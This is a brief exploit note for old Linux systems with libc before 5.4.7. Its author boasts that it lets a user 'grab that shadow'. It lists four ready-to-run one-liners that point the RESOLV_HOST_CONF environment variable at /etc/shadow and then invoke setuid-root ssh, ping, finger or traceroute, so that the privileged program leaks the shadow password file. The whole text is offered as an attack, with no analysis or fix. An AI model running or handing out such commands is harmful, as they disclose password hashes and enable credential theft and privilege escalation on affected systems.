Linux (using libc.so older than 5.4.7)
Exploit:
This vulnerability gives you opportunity to read any file and so
grab that shadow! Also requires ssh, ping, finger, and
traceroute.. all must be suid 0. Note that any of the following
will work individually, so you don't need all 4:
export RESOLV_HOST_CONF=/etc/shadow; ssh asdf
export RESOLV_HOST_CONF=/etc/shadow; ping asdf
export RESOLV_HOST_CONF=/etc/shadow; finger asdf
export RESOLV_HOST_CONF=/etc/shadow; traceroute asdf